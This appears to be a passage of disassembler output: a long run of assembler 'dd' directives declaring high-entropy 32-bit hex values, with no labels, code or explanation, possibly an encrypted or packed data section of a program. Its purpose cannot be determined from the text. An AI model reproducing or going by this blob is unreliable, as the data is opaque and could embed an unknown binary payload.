		dd 9DDA717Bh, 20AB2F9Ch, 9749760Bh, 0F3057E76h,	0C293905Eh
		dd 0E9C581FAh, 2252C1Ah, 0DB7AEFB9h, 0C748DD58h, 0A88360F7h
		dd 9CFEEAF6h, 0BD558F69h
		dd 11CB390Fh, 0CCF128C9h, 7B71460h, 3B38C21Fh, 0D6F7F082h
		dd 7ADF5650h, 0E38002EBh, 5AB25254h, 2869E1DDh,	82FECA42h
		dd 0A4BE7DC5h, 0FF9CCAD4h, 0CDE84B09h, 0BF7AE47Bh, 585A4F92h
		dd 8D3A0029h, 395DDA9Ah, 7FE8B86h, 679F5F94h, 141E65C7h
		dd 4E645493h, 74BD881h,	1B01CE72h, 350B324Dh, 4290D0A4h
		dd 6C0328EAh, 0CF05763Dh, 25FA0101h, 1FA861D8h,	88F8202Dh
		dd 4BF1148h, 4B75786Ch,	84EE01D2h, 0A2AF5808h, 5053812Fh
		dd 0E7C8EC88h, 0FB3CEA58h, 0E982E92Ch, 0A5552ADAh, 1DA1165Bh
		dd 0E2867B23h, 1035814h, 6D642DD8h, 87222032h, 0DFF2E969h
		dd 587B9866h, 1619A332h, 525E5552h, 34C3854Fh, 0E4E1974Eh
		dd 0A9D53A37h, 98853A86h, 0EF010FB4h, 2A66E4B5h, 6BF3171Ch
		dd 85106EF2h, 0E15509Bh, 0A124664Fh, 2E690BAh, 0B424BC0Dh
		dd 91081401h, 0AABE0F55h, 546A8E0h, 67096FABh, 55F02977h
		dd 9079B680h, 0C655E935h, 0B5F02A8Dh, 0B22F4F10h, 46F39335h
		dd 320AE05Ah, 4BD62980h, 7D39F25Ah, 10CA9A25h, 3EBE66C3h
		dd 212390Ah, 0BC9416F8h, 74C305D3h, 0D3F1B504h,	4D4B3BE8h
		dd 604E4072h, 0E335E96Dh, 3BCD2197h, 8571F328h,	0FD47C43Eh
		dd 4553D21Bh, 0D2DFF2BBh, 5AE94FE0h, 5AB482BBh,	0F953D390h
		dd 0C8275E95h, 0F5A60092h, 0F831F7D6h, 8633E912h, 82CDF6BFh
		dd 0D46B7868h, 0FD015821h, 3BF37590h, 0C790A3F9h, 25875E1Eh
		dd 987EEEDDh, 0BD474027h, 80E49E7Fh, 0A9F85EB8h, 5EBA1E4Fh
		dd 228F0AB8h, 0B2D693E1h, 2ACBC426h, 4E49438Ch,	1A17522Ch
		dd 93750346h, 9A1601CBh, 0E9E82CF0h, 0C08E54CFh, 963C4666h
		dd 0BD1A00BDh, 13010507h, 0E309FC68h, 3B0214E4h, 11B40574h
		dd 7F8075FCh, 4C5221CAh, 0F900BB78h, 0E92BC6E8h, 0C7A0F034h
		dd 7A0B10B8h, 0DC09641Ch, 951B818Eh, 2E311E61h,	0CA8CF772h
		dd 4EC5F546h, 0C22460Dh, 0D2B903Bh, 1B63E267h, 0FC5E02B4h
		dd 238F83BEh, 0E9080806h, 7AB09FB9h, 490F90B2h,	0E124600Dh
		dd 42840302h, 74EA2FECh, 60406EE9h, 0C3915B36h,	2C5A88A8h
		dd 0CB5DD77h, 5B2583ECh, 0DF69D7F9h, 0D30A8259h, 0BB0183E7h
		dd 67B63EBAh, 0A101F42Fh, 0BDC640h, 0EE33340h, 5164E581h
		dd 0E0AC904Eh, 6E175209h, 0EF024974h, 0C253F04Dh, 0B5A7F3Eh
		dd 0C6874654h, 48279C7Ch, 9C4BFC37h, 0B022F039h, 850E2C10h
		dd 61505253h, 0C7FEF2B7h, 12814560h, 0AA5AD730h, 0CFC0EA1Eh
		dd 0E973EF80h, 76B9B222h, 7E0725C3h, 11E799D5h,	0B408308h
		dd 5EC70581h, 0FF0D84CFh, 54B89103h, 0F5B5D209h, 30486941h
		dd 0E28357D5h, 0A69675C7h, 594E0E2Fh, 0E4D4BB9h, 746F6805h
		dd 0C9CBD9E8h, 595E4BA2h, 2E948382h, 20BE695Ch,	66812F6h
		dd 0F8E73C70h, 49055F2Ah, 90149520h, 0A5E1FF5Dh, 126E0F75h
		dd 82A3EF87h, 0D08EE982h, 0F27B18F5h, 0C0BD80A4h, 7402721Eh
		dd 984027B8h, 58D35CCCh, 0CF1AB5E0h, 407D1A43h,	2F7BCA38h
		dd 3078C590h, 95CBEC9Dh, 759C0955h, 85565862h, 24425FC9h
		dd 8940E2D7h, 3AE4500h,	91B0E8B5h, 740AC184h, 0E1272B0Eh
		dd 5F2D5183h, 0B8FCD5B9h, 240C3FDEh, 5D964263h,	71C1B2BDh
		dd 2F3B8A12h, 0B0A6B904h, 200F4212h, 0F0308Eh, 57666816h
		dd 67F428B8h, 0D810BBF5h, 0FC601CE9h, 876E0695h, 95E8F436h
		dd 0B9B84000h, 377A5972h, 0DD2DF424h, 2625F51h,	0EA5EE90Bh
		dd 0F93B4CF9h, 533AB32Dh, 9502AD69h, 0F50844CBh, 26BE5813h
		dd 0EA204833h, 0AC5F4E98h, 5651F1EAh, 3E13CEBAh, 0E3940012h
		dd 626747C8h, 0F81693B0h, 25059025h, 76AAE80Eh,	0F094565h
		dd 0FD5452C8h, 5827271Ch, 4F136636h, 0AA491326h, 8884D9A3h
		dd 19484E5h, 9760BCD7h,	0C1E86E1Eh, 0FB2EFF4Ah,	84D2052Dh
		dd 1715F197h, 461B1A89h, 62D2E4DEh, 0CDBA618Dh,	27D0EF13h
		dd 50F67D8Fh, 0E1711A60h, 4C59033Ch, 0F4333334h, 6FB153AEh
		dd 2BEBA40Dh, 81D7273Fh, 782CAC85h, 0B6037036h,	3AF68043h
		dd 0C22D859Fh, 0C7F70FB7h, 4E28F6h, 1633782Dh, 20D86855h
		dd 5D7A9214h, 34850591h, 20FF5A99h, 0F82B02A4h,	5BE7B6Eh
		dd 1FA3326h, 4A799385h,	0A50C8938h, 310E852Bh, 18E0ED04h
		dd 7A236802h, 5F511BFEh, 4E4757Bh, 10819E49h, 2D5404C0h
		dd 9BA522EFh, 52580802h, 777520EBh, 1060BB5h, 0D3287DABh
		dd 0F70CB17Fh, 256B9F4h, 0A6015FF3h, 0A9404075h, 8E49257Ah
		dd 0BFF79E2h, 0F65D1055h, 0E73039D4h, 0FF09FC35h, 2FE942F4h
		dd 9E71DDECh, 2D89A946h, 3FD9F428h, 2D0DBB08h, 4EBEB277h
		dd 261F9AC2h, 3B47DE01h, 1CD1FE25h, 383AF1C0h, 9C2050DDh
		dd 6D7602E4h, 9A0AE918h, 0C2B0B2FFh, 0BDB0D85Ch, 40212358h
		dd 0BA77A51Fh, 2D37FA98h, 5A74CCCAh, 0C1AD6665h, 0F3A2267Eh
		dd 76F08338h, 0BAF028C2h, 0D824064Ah, 7E162057h, 41773162h
		dd 0E12A0F78h, 0CE58205Bh, 0E9835197h, 0A0987BDDh, 478F2E82h
		dd 0F8B00850h, 49415C25h, 0F10317Eh, 3A875228h,	59A45D10h
		dd 3FE8015Eh, 0A5892922h, 5E00D57Ah, 0E005DAC2h, 25717A5Ch
		dd 577F39A7h, 24923669h, 2EF90C9Ch, 9D0490FBh, 0C729B7F1h
		dd 1C595AFh, 372784Ch, 21CEE549h, 1C08065Ch, 0E604409h
		dd 0CB09DE10h, 58C4EE5Eh, 0F722BCF3h, 18840F13h, 0F4BEC353h
		dd 0D127E9D5h, 7CBC4ED9h, 0DCBA5DC2h, 0A242904Ah, 59EEEA71h
		dd 78CFEF1h, 0A102EDB2h, 1669C3Eh, 8C988CDh, 0D4255321h
		dd 0C0E950BCh, 5D5B91CBh, 6C8B4A61h, 58511379h,	0B599A2BFh
		dd 0C46FA2FFh, 78FC13B0h, 0B34657C5h, 483D0788h, 9AD76543h
		dd 806DD16Bh, 9BBCB7C3h, 2D0DC181h, 0C56430Eh, 82F8E53Bh
		dd 0FB51D7FEh, 3F8FF65Eh, 0EFF40851h, 0BCDB9FAAh, 0E09692BDh
		dd 5E4557F5h, 51A20AEBh, 0AC7AAFADh, 0C6486CA0h, 12812B5h
		dd 0B97CA1EDh, 2CC51F9h, 0BDA45B03h, 462D0514h,	0F1EE3F75h
		dd 66BC7ED6h, 85E23884h, 85DEA37Bh, 8F300ED4h, 6AFBD55h
		dd 0BF7C600Ah, 31150BABh, 10D48BEFh, 810F9ECEh,	8DE443F6h
		dd 0E281BB7Dh, 0A66A4ED6h, 0EC0E17FEh, 54258CBDh, 4E1B7740h
		dd 0E8182227h, 2DB1E0EAh, 0A348E7DDh, 0B7837685h, 7F8BFB95h
		dd 0D5B1E45Eh, 0B2FD804Fh, 14955EE6h, 52C49DECh, 2F396949h
		dd 0D53E8B4Fh, 7EF74CA0h, 52090C6Ah, 0D2E639E9h, 0AE044ACEh
		dd 25E93B3Ch, 0DE446FCCh, 9757F697h, 5D9A625Ah,	2DA04DDDh
		dd 5369D459h, 1CB92442h, 0FDE7A801h, 0EB7C62D9h, 0BE0A4248h
		dd 25FD1235h, 820DBDCh,	0AB875B31h, 0E53BE1F6h,	0A5282A87h
		dd 0D0A430E9h, 5FADF1C3h, 240B6A3Fh, 0B2C9BEC8h, 460661ACh
		dd 57C33381h, 2C89D8A7h, 13AE5AC9h, 0F10EB25Eh,	2305550h
		dd 0CC55827Ch, 0CEA7B59Dh, 0C6621F68h, 1EE85F53h, 0A116E7C7h
		dd 7541B3CEh, 4B01EB83h, 3779080h, 0A8E96FDDh, 753A5F9Fh
		dd 78FBE361h, 6E0C9E78h, 0BC927AFh, 5D8A5E5Ch, 0DC2DACF6h
		dd 0D9894E22h, 0B0F15C20h, 290A7A47h, 0D01E43E9h, 2B60BA83h
		dd 3DB29F69h, 0EE13E821h, 0A07D9502h, 0B6B5E75Eh, 1F0958F9h
		dd 8CD1FF80h, 0D8B52928h, 0E9DF0C63h, 49FE542h,	0D4F34980h
		dd 6A135D11h, 1697A91Fh, 85F3EDA0h, 85611425h, 0EDA17E45h
		dd 31A7F42Bh, 0CA6CBE02h, 0F504ADE9h, 0CE7FFCBAh, 3C759557h
		dd 4BB4943Ah, 229EE4F0h, 0B92E6851h, 98DF84CDh,	0ED49CDABh
		dd 0B5A61861h, 6D54CD8Bh, 0E596F7EBh, 0FBDDC20h, 5708EAC1h
		dd 0FA190524h, 58137842h
		dd 8796DF30h, 67595240h, 7EC56109h, 0F226A452h,	0FB2D9AF0h
		dd 9A79CBC4h, 83C055D1h, 7A3E86A0h, 0D4FFCEFEh,	0F2F2BEEEh
		dd 236B8881h, 5DEA2E60h, 0BDE12FCh, 2C5E0500h, 2AB8C681h
		dd 8930482Eh, 0E24E857h, 7DAC6826h, 7C9DBE13h, 0ACAAE844h
		dd 22A54EE8h, 6218D4C2h, 10218C1h, 49EBD1C3h, 4CD4684h
		dd 0E597E289h, 0FEEC93A1h, 6CD7D96Ah, 0C2800EAAh, 0A086CA01h
		dd 0BD1F60Dh, 5FD2B3F7h, 50D2E01Fh, 8FE9B43Ch, 3D30F9C4h
		dd 7038239Ch, 44DA32B6h, 0F6534EC2h, 1B3600B7h,	6E928B9h
		dd 0F1DB2AEh, 0DAB55166h, 0C5165B46h, 3568E70Dh, 4EA5DD1Dh
		dd 25B88AA0h, 294C0602h, 37BF0249h, 0D6179476h,	9BEF8272h
		dd 52D51D96h, 7CB509C6h, 4CD86A03h, 4878A339h, 0F9721628h
		dd 2686760h, 0F0CFA61Eh, 0B97B5AF5h, 805AA24Dh,	0F30AB4EEh
		dd 0AD52C420h, 4252FF0Fh, 5B944FF4h, 5E0BF30Ah,	0EB20E0FCh
		dd 0AE29D94Bh, 0CFF4FCF9h, 141030E9h, 7833C5F7h, 29495E09h
		dd 83EC7FEBh, 8994B684h, 2D2DDEC9h, 83ADF1E0h, 4207F38h
		dd 2D1D840Fh, 588947BFh, 0E962EE63h, 9BDE4735h,	6965F969h
		dd 184351D5h, 0D5BA47C1h, 7C42231Eh, 69B86F97h,	0F2AB8D81h
		dd 0C6B07BF5h, 0E72E48DCh, 5E540489h, 0F94EAE89h, 0B07D2725h
		dd 5B88E9CDh, 0F4FAFC6Ah, 35165ADBh, 0FC7B3403h, 45EE4A6Ch
		dd 0A3777A75h, 791F1636h, 9659CA90h, 0FDA25F6Eh, 0F2ABD27Eh
		dd 6820D8B5h, 793A6246h, 74F6BC19h, 70E03489h, 6057F888h
		dd 37C16315h, 0B31F71A5h, 4A49CE01h, 0ECF39023h, 0EF29800Ah
		dd 385A00B8h, 179401E2h, 7F3CAA4Bh, 5DEB2D01h, 8744C1F1h
		dd 0A259AEF3h, 1FC4FEE7h, 0D831EE2Dh, 0BD0082E8h, 0F32469D7h
		dd 2D024810h, 0F0EF0C96h, 454820C4h, 7D5E5F76h,	4FBE6401h
		dd 0F6200F24h, 680940C5h, 0B0B38D4Bh, 0B35A5184h, 0ABBC4F20h
		dd 0A6D00DCBh, 1429A91h, 40F657C2h, 29BB5865h, 76CB3E42h
		dd 0FD0B3C18h, 5B12F3E2h, 4D533D6Ch, 2A751101h,	0B06B3786h
		dd 850B055Dh, 0D706573Bh, 3A073B08h, 0C06BCE80h, 0C055934h
		dd 5DF67600h, 54E95356h, 0D494B52Ch, 4FF43720h,	4D7B921h
		dd 0F7C7BAA3h, 97B4F9C6h, 5A25C515h, 0ECFED24Bh, 1AE2E7DDh
		dd 0C4D3C65Fh, 4E3FCF90h, 506CE3C7h, 0FEE7B07Eh, 34562629h
		dd 9ACF829Eh, 8DFBC39h,	51C9483h, 56FF566h, 9BEFAEA9h
		dd 4BA459DCh, 828735EBh, 170F61CFh, 8B1F9A0Ch, 47930BF2h
		dd 91806960h, 0A486D7D6h, 8B1D7495h, 18F714DEh,	95C2C58Bh
		dd 0DCCA1AA2h, 0C64FD9F6h, 2F1C8ED0h, 0F2D8BDB7h, 0E8285B1Fh
		dd 0DF2FEA4Bh, 4A306C18h, 0E280CE96h, 33A71483h, 1EDB851h
		dd 22754C72h, 2B9982E9h, 8ED4DAB9h, 3EB2E55Ah, 0B7BE0A13h
		dd 0C95F2923h, 0A4367D69h, 0E9C20904h, 0B2BF078Fh, 346D02DEh
		dd 415D15D2h, 9A250DC9h, 45D2CE7Ah, 7E8B613Dh, 84410209h
		dd 0F0145747h, 0B79FD5Bh, 0B06E8068h, 20589440h, 3E4730Fh
		dd 0D4567C25h, 6A7BC59h, 0D4278154h, 0CAD9A535h, 5565050h
		dd 0D30F6068h, 0A188AF17h, 0AD7740BCh, 0B14A07ECh, 0C2DC49AFh
		dd 0F9A7BEF6h, 0F8F469F7h, 0D19EEC8Bh, 3C712D8Ah, 0A50B5EC5h
		dd 1F79D9C5h, 8B3C49CFh, 29EF5A83h, 3FBC87B1h, 0BBF8884h
		dd 180B509Ch, 0AC1307D0h, 0E68DA804h, 52DD9727h, 6BBFA1EDh
		dd 0FBB5E4F8h, 0E985B9E3h, 106F02Bh, 5B9AD94Fh,	26842E1Ah
		dd 567661F7h, 0AE307A25h, 0D90A005Eh, 5AF18170h, 595E663Fh
		dd 0B1C9A00h, 0FC4B15ACh, 272802E3h, 0EBC15D10h, 47C3E980h
		dd 162E4C73h, 5E30BAE9h, 5025A5BEh, 4EE9253h, 0E384084Ah
		dd 3B5EB529h, 0F6016B8h, 79436817h, 0E2BC1A0h, 5638DA27h
		dd 72E2442h, 0B90665C8h, 8A3A85Fh, 583FA029h, 816CC434h
		dd 0B5685A01h, 0D14B2B7Fh, 6316D723h, 22157895h, 505A5FB9h
		dd 0C4226171h, 6187C007h, 93E5444h, 0A8E512C1h,	965278F4h
		dd 12F728BAh, 0FE965FF6h, 61B7D05h, 0E65AA78Fh,	0A9B105Eh
		dd 30BC0500h, 0D0297015h, 32072D51h, 0ABEF1359h, 410794D8h
		dd 415F2051h, 0F7A4C74Ah, 59C2FED9h, 89173620h,	4EEEFCC5h
		dd 860A19BBh, 3A5CC5E9h, 13FE0DCCh, 0FF3A166Dh,	9904838Bh
		dd 80256028h, 844FD315h, 0C9815001h, 37BB758Bh,	33F46221h
		dd 90B273Dh, 0A630E440h, 0BE62F82h, 0E10CC221h,	0D49052A3h
		dd 0B0893F72h, 0B1D445Dh, 2DD698CEh, 0E0981625h, 58273582h
		dd 0D7885755h, 279A01D7h, 60313CDBh, 29AB642h, 2DB3F09Fh
		dd 2F7D6768h, 21CDE4B0h, 0FE0438F9h, 0BE439F4Ah, 55C65262h
		dd 0EE4A7A52h, 0E98605AAh, 2957D66Dh, 785E569Fh, 64BD1364h
		dd 5CB4F046h, 0A3D07BF7h, 961EAE4Fh, 0B3E9D742h, 20E9C526h
		dd 41BC9032h, 5DE02A64h, 3A238089h, 5ADC5E97h, 3B2ECC00h
		dd 2E983827h, 0D8C4D60Ch, 4CD24C7h, 0E9457E6Ah,	827CF840h
		dd 5E71F722h, 121B0354h, 0C016983h, 7556147Fh, 0B244DE29h
		dd 0CC00816h, 0BF5C6C68h, 0DF2F2A29h, 0AE035045h, 4078B68Ch
		dd 57BB5E06h, 7DD21689h, 4D2077F1h, 0D56954B1h,	452D0A8Dh
		dd 7AA0B827h, 1941E502h, 404569F2h, 7506D8A4h, 0E7AAC015h
		dd 5648C612h, 0E5EBE04h, 0A1E04783h, 0E9D63FF7h, 0B0DD005Ah
		dd 4E8C064h, 126C0C3Eh,	77F952A7h, 4092EE4Ah, 7F65F50h
		dd 0A652C5A7h, 43B04077h, 0E92E6232h, 0EB45D18Eh, 5EB4E0FEh
		dd 0AA5645BFh, 0E382B7B2h, 0B10008AAh, 0E027B750h, 0DAF0BDCFh
		dd 0BCED0D4Fh, 2C7FE527h, 25683A64h, 21C632E3h,	0C7B35204h
		dd 0C1AFEB80h, 0DA305597h, 3ACBC341h, 2F6878D8h, 6D1860A7h
		dd 719D36F4h, 0FF82695Ah, 4A0C3C3Bh, 2F12BE86h,	6BE2ABD6h
		dd 92770932h, 0C3E789BBh, 0FF764E8Fh, 25E9362Ch, 212D4B6Fh
		dd 0AE95C370h, 2C4A77A7h, 0E82DC194h, 9F5540Ah,	41F4A3A4h
		dd 6712C072h, 4F6880D5h, 0DE527548h, 1729140Eh,	0F449DDBBh
		dd 429259C4h, 25CDD720h, 96F5C583h, 203B981Fh, 96BDA0EFh
		dd 0FACC5AA7h, 105A8B31h, 64D2412Eh, 6C50DA20h,	61E7024Bh
		dd 0C0621B27h, 2706FD73h, 0A0702201h, 0DEE1F190h, 2DF3DE48h
		dd 441D3013h, 3E642A00h, 27317984h, 76D25AD3h, 40ADFD40h
		dd 2F14B599h, 12E3EE88h, 0BEA2665Ch, 0ACC8D45Ah, 0EF92DE0Fh
		dd 0CA679CCDh, 0FEFD5A7Fh, 0B5E9A320h, 416EBDEBh, 0CA95353h
		dd 230DACE9h, 45270BEAh, 7892599h, 2708A308h, 7737BA57h
		dd 0B4B3C4Eh, 0A7EFE1C5h, 505A7E2Eh, 0D8EE58C5h, 3529E60h
		dd 13EB4F9Ah, 69A823F1h, 816861B4h, 0E931303Eh,	639A4F83h
		dd 20157895h, 5852DFB3h, 73292D6Fh, 1A132FE3h, 8010C450h
		dd 0D1FEED25h, 0F1C308F9h, 31F9D025h, 291ED584h, 1D1264D8h
		dd 0F76DDA09h, 4B97CD2h, 0BA1A63E9h, 0FB403665h, 80CDFE25h
		dd 58DB73C5h, 0E0121CF5h, 18B2FAF2h, 40688E98h,	0BF62749h
		dd 7E6548E9h, 47D983A6h, 0B1D944A3h, 21590068h,	0BEFBF0F8h
		dd 0A76327ADh, 380797C1h, 6E90C2B7h, 0C11EC030h, 387417BDh
		dd 10D0244h, 0DFFA7Dh, 481DEE89h, 0FFF8BD6Bh, 4672ACFh
		dd 86EF4B0Dh, 3018208h,	0E9658B4Eh, 5303A14Ah, 291394B1h
		dd 17EE5A92h, 61EF8AD4h, 0F6A48E52h, 8C66860h, 141E7572h
		dd 0F811AF01h, 102B2974h, 1C680886h, 0FF591614h, 0C01533CAh
		dd 520090D7h, 282C1B68h, 0EFB85A70h, 743A4625h,	0A9E15330h
		dd 11B73788h, 2C2F014Bh, 0E9423B54h, 0A025F895h, 2D3D354Eh
		dd 10D7452Eh, 1261C3EAh
		dd 0ADF4E259h, 13BF4EA4h, 0CD13EEDAh, 0ED0B52FDh, 99853A7Dh
		dd 0E538C8FAh, 8067E3FBh, 0FE7AC10h, 27686EFCh,	9EDE62F7h
		dd 98E4BD5Ch, 0DB78A50Fh, 6F76C418h, 0A76FB4A9h, 7BCA5BA3h
		dd 0A1DF87F2h, 5E246866h, 4F89FE24h, 1DE4456Ah,	15DEE31Bh
		dd 5882DB49h, 89FD3842h, 2F201F4h, 48D48B34h, 655CB9Bh
		dd 0A947BFBDh, 8F00F44Dh, 0D4FF341h, 0B950E2Eh,	0E0F8E92Bh
		dd 0C7402151h, 13FE2D76h, 0E079E917h, 5ABDBD3Fh, 0EA292C1Ch
		dd 5BCC1072h, 9C48AAA4h, 6E5525E8h, 60D1FCF6h, 58C21D56h
		dd 3CB1D709h, 0AF815764h, 0CD3E23FDh, 82343229h, 5DAF21E9h
		dd 0C37AB3E6h, 1478EB34h, 6820C0FBh, 5A3B09F3h,	501BC852h
		dd 464B985Eh, 7019BB1h,	54657CE9h, 1608E93Fh, 9B0D359h
		dd 2E3501E0h, 81D4CEBBh, 0ABFC7EC5h, 4863045Eh,	3F4BEE0Bh
		dd 70A75ED6h, 0BF90F001h, 9E8C85Eh, 110B2DC0h, 0A6FC1D75h
		dd 85B90358h, 308DA24Ah, 5FE57748h, 89A5E62Ch, 0E8A0105Ch
		dd 0EEC383DAh, 388A1012h, 0C8DEBDA9h, 290006CFh, 7A4F05C8h
		dd 2D3D058Dh, 0C07909C1h, 0FEEF73C6h, 0F7A7F5BEh, 11EEA4A0h
		dd 8906798Fh, 0F0315AD0h, 0F15E5FA3h, 2C8E3527h, 9E68A0D2h
		dd 71C2E169h, 0FBF14523h, 5E50A062h, 55CC254Fh,	5A80BD71h
		dd 97537250h, 0F4A573DCh, 6C6C1EF4h, 40C924E7h,	623A7CE0h
		dd 89252095h, 903B584Dh, 37120F86h, 0CD80763Fh,	2BA67546h
		dd 38F0F4C8h, 0E20EF832h, 1B226452h, 0BFEB5E0Ah, 60D6341Eh
		dd 0B43EC7E1h, 400758D9h, 0D309F897h, 18DFB4F3h, 0C3875C4Eh
		dd 2D80C163h, 0DB4F019Ch, 42CD3532h, 0E4D0E7D7h, 0B2490610h
		dd 7D175A8Dh, 0CDCED3EAh, 0E929F4A0h, 7E5E284Dh, 0FB0ED7Eh
		dd 0E56BD40Ch, 0F506F602h, 0CFCF60D2h, 452C3C8Fh, 8AAECDD0h
		dd 0B9518B60h, 30561014h, 0A093129Ah, 0BA0E5191h, 60520C96h
		dd 5BDA89D1h, 0BF0E50B7h, 0C15E72CCh, 0CF293205h, 0E1AABBC4h
		dd 3F7F6617h, 1F4880B9h, 26F18113h, 7F77253Ch, 0E99368F7h
		dd 0A26EE3EAh, 5568878Bh, 4F784629h, 5B86A890h,	249885B3h
		dd 0E90BD2B3h, 0B0FEF6F4h, 9B08854Dh, 964D099Ch, 7FD740E9h
		dd 55E39713h, 0E1685304h, 13CAB374h, 3734F401h,	17A3B980h
		dd 894F094Eh, 10755EF3h, 2D5A9277h, 0FBD43AF8h,	39C05114h
		dd 77FEC05Fh, 0D9DF35CCh, 0A90CB8A2h, 418AB664h, 0E9A46F93h
		dd 58F996CFh, 6182434Fh, 60B1D065h, 6D1D137Ah, 49F27D3Ah
		dd 0F5D80551h, 14E4F203h, 0CCB7930h, 1623A268h,	1581D09h
		dd 632B26DBh, 0ADAC6E73h, 4DD4F2C3h, 0B8C3AE8Ch, 306C00D1h
		dd 512C5AF5h, 474E828h,	0F5B9FFCh, 2166F531h, 1833262h
		dd 4CF255CEh, 515888F0h, 21621F51h, 80BB7712h, 765EEE28h
		dd 77BC0548h, 708C195Bh, 0B84C4063h, 62168500h,	0AE89BB45h
		dd 9645F92h, 0C95729B7h, 503880C1h, 57B2520Eh, 0B27FF2E7h
		dd 3483B85h, 0D56BF7EAh, 82E55F08h, 8C7C6204h, 0AD111C81h
		dd 2D07292Ah, 2FE91258h, 97BF0EE0h, 0E0840975h,	4B282522h
		dd 57BA530h, 9CA8B08h, 1937EB68h, 0F9E5575Bh, 0B95D31E4h
		dd 1CEFC1E1h, 892AF0F0h, 604876B7h, 6B60BE25h, 0D1AEFEC5h
		dd 6C7DC8h, 2D7F431Fh, 783EEF79h, 0E9C7290Bh, 19541E4h
		dd 4157BE42h, 0B43E3AC4h, 0E2AA8500h, 2DE4EC75h, 12E0CFC1h
		dd 84141D97h, 0E5A04364h, 0DF824BA8h, 0E1CA53E9h, 34B9D9C3h
		dd 51449FE6h, 0D7486A67h, 0E9420D5Bh, 9055888h,	2A2157BBh
		dd 5E88D68Fh, 5F82905h,	165FB288h, 0AD0FE068h, 0CBFFA474h
		dd 0DF67627Bh, 0C91BD1C3h, 0BD5E6C70h, 0F55DBBC2h, 414204DBh
		dd 829CAFACh, 7F778EC6h, 1FAA1F0Fh, 25A92B8h, 35230FADh
		dd 8A8381E0h, 5CF0CBCBh, 28B65912h, 2F08488Dh, 5B25B59h
		dd 60285F68h, 0F2705BDh, 4195858h, 206A619Ch, 4BA6AC80h
		dd 0A82A5FB0h, 0ADCE0034h, 0C114FA13h, 0B9024AE6h, 107B802Ah
		dd 4E2964B0h, 518F22C6h, 0F2121460h, 0B0803C4Fh, 41B9D2BCh
		dd 48B881BDh, 5F3E576Eh, 742F7FDh, 388EF759h, 891E6F43h
		dd 0BA5256E0h, 26D70C39h, 23165797h, 0BC1279D4h, 5BD84FBh
		dd 987B2CE7h, 6041410Fh, 0FEAB126Ah, 0F607A813h, 22422A8h
		dd 0E05FF0AFh, 0C82D0501h, 35128229h, 755950D4h, 77531CAFh
		dd 91D4E5CCh, 0F3202D47h, 34E9EDE8h, 0ED60FE75h, 0EB808215h
		dd 515B780Ch, 5C30C08Dh, 0FC758A2Dh, 0A668D0ADh, 0BCCB254Ah
		dd 0EB30507h, 0D0858B3Fh, 0A907122Dh, 0F3EB92ADh, 156809CFh
		dd 0F30C237Eh, 0BFAC4BE4h, 0A82E9529h, 12A8A166h, 96E8E7Bh
		dd 0E6038C68h, 0F4532CC0h, 126FE2AEh, 0D6AC11Bh, 0C4B7A26Bh
		dd 61A2EDBCh, 513EF948h, 4474FBDFh, 0E924CCAAh,	4FB7F92Eh
		dd 0D6390B42h, 0FE01C28Ch, 0A635EC64h, 65AB2B70h, 4439001Dh
		dd 8923D815h, 5AE9FE12h, 0B752B183h, 0A47597FDh, 1861A26Ah
		dd 0D05ECD58h, 403FEEE0h, 71F10184h, 0E7A82A8Eh, 5A38C25Ah
		dd 0E46DD1DDh, 4F69E8D2h, 0D42568ABh, 0B2066B95h, 0F1E8425Dh
		dd 0A4B724CFh, 627800C2h, 4D5D1B88h, 0AC9FF8FAh, 1325E843h
		dd 0AC0E455Fh, 0E9074012h, 6E978925h, 0B6A68012h, 0D6F7800Fh
		dd 9E96139Fh, 0FDC97D80h, 5B98A66Eh, 286099E1h,	0BFCB4098h
		dd 913ABC04h, 1ABA4F19h, 89DDC2D0h, 0A4E8221Fh,	0DED009F1h
		dd 23C26816h, 0E62A9CCDh, 7C5F3203h, 0F79C7742h, 850B904h
		dd 5CFB132Bh, 483DC743h, 312FC27h, 3140CBA0h, 163ED03Fh
		dd 0A3B9A977h, 215DD1D3h, 0A9487C63h, 0D22AE36Ah, 5EB88BBEh
		dd 0A42939FEh, 4D104F35h, 2ECC001h, 0ED0FC480h,	4CC52E33h
		dd 8E3D61EBh, 0D2C669F5h, 6AE5E904h, 0DE14B8h, 0E96579DCh
		dd 0B5A1D242h, 28EA2A54h, 0BF3853h, 36636829h, 0B610509Dh
		dd 39955F25h, 2B293E9Fh, 0E09BF97Bh, 0B12AA568h, 0E7FD6CD3h
		dd 0BEB901FFh, 2D2758C0h, 24FDE1D1h, 4D32BBAh, 6962B15Ah
		dd 0FAA57D7Ch, 5A061DC6h, 600EA808h, 0E91BB916h, 93405E52h
		dd 0AC1030Ch, 0E06F8283h, 7F2A9D04h, 0D15A8AD0h, 0BF80E6A8h
		dd 76430113h, 0DD3942BDh, 4B064909h, 0D99575F0h, 0AF6843ADh
		dd 0AAAA4495h, 1DBF13E6h, 6C4882F5h, 0A1C07BB2h, 0C3481176h
		dd 72F60515h, 17EA4C56h, 67C4EE72h, 8C1B9CA8h, 22B1EB0Ch
		dd 0BD4E80CBh, 588B0312h, 0B2EF4B89h, 0DB409604h, 0E973CF2Eh
		dd 8C084EE8h, 0EA40A105h, 0A3B057h, 2F8601C5h, 0DA603FBFh
		dd 0D7313B12h, 0C756450Bh, 251E2CF8h, 2FC3477Fh, 928B7474h
		dd 8445C8DCh, 5259278Bh, 0BE3D54F9h, 0AC738CCFh, 0E233F20Dh
		dd 896D272Ch, 5A5A0454h, 7C27A6Fh, 683C091Ch, 96B13A66h
		dd 7AAFC654h, 2CE4B10Eh, 7C54EDDh, 5E4E04C8h, 5F6DC2Dh
		dd 0D027E9F8h, 4A18BBAFh, 0D071B527h, 9C39FA61h, 8F640998h
		dd 0CA6C7082h, 7496B6A0h, 87006199h, 0C4BF57CDh, 0C2413667h
		dd 6C1E4FBAh, 0E9E340F7h, 34FE69A2h, 5653F240h,	0C9D27EF4h
		dd 0FE28D98h, 48980F60h, 0E901EA23h, 58ADE0E5h,	0E208B9Ah
		dd 957CFCE5h, 7D49FA56h, 5B5F20C2h, 10F72515h, 0B8532D39h
		dd 559277Dh, 0D053D6AFh, 0F714E9E0h, 0AA8E6B5h,	0F028BFC6h
		dd 8E2C58F6h, 0FD416390h, 2D5BDE3Eh, 10BB9156h,	0AC08172Ah
		dd 53E1E194h, 0F4D6CBCDh, 0B3F40B26h, 0BE48E76Ah, 42829BA0h
		dd 0DFD0F7D7h, 0FDAD055Fh, 0FC4AA74Ch, 540493C4h, 0BE126FD4h
		dd 0BAA5F361h, 6CDBF701h, 0CB8101FAh, 473973B1h, 133DE3D8h
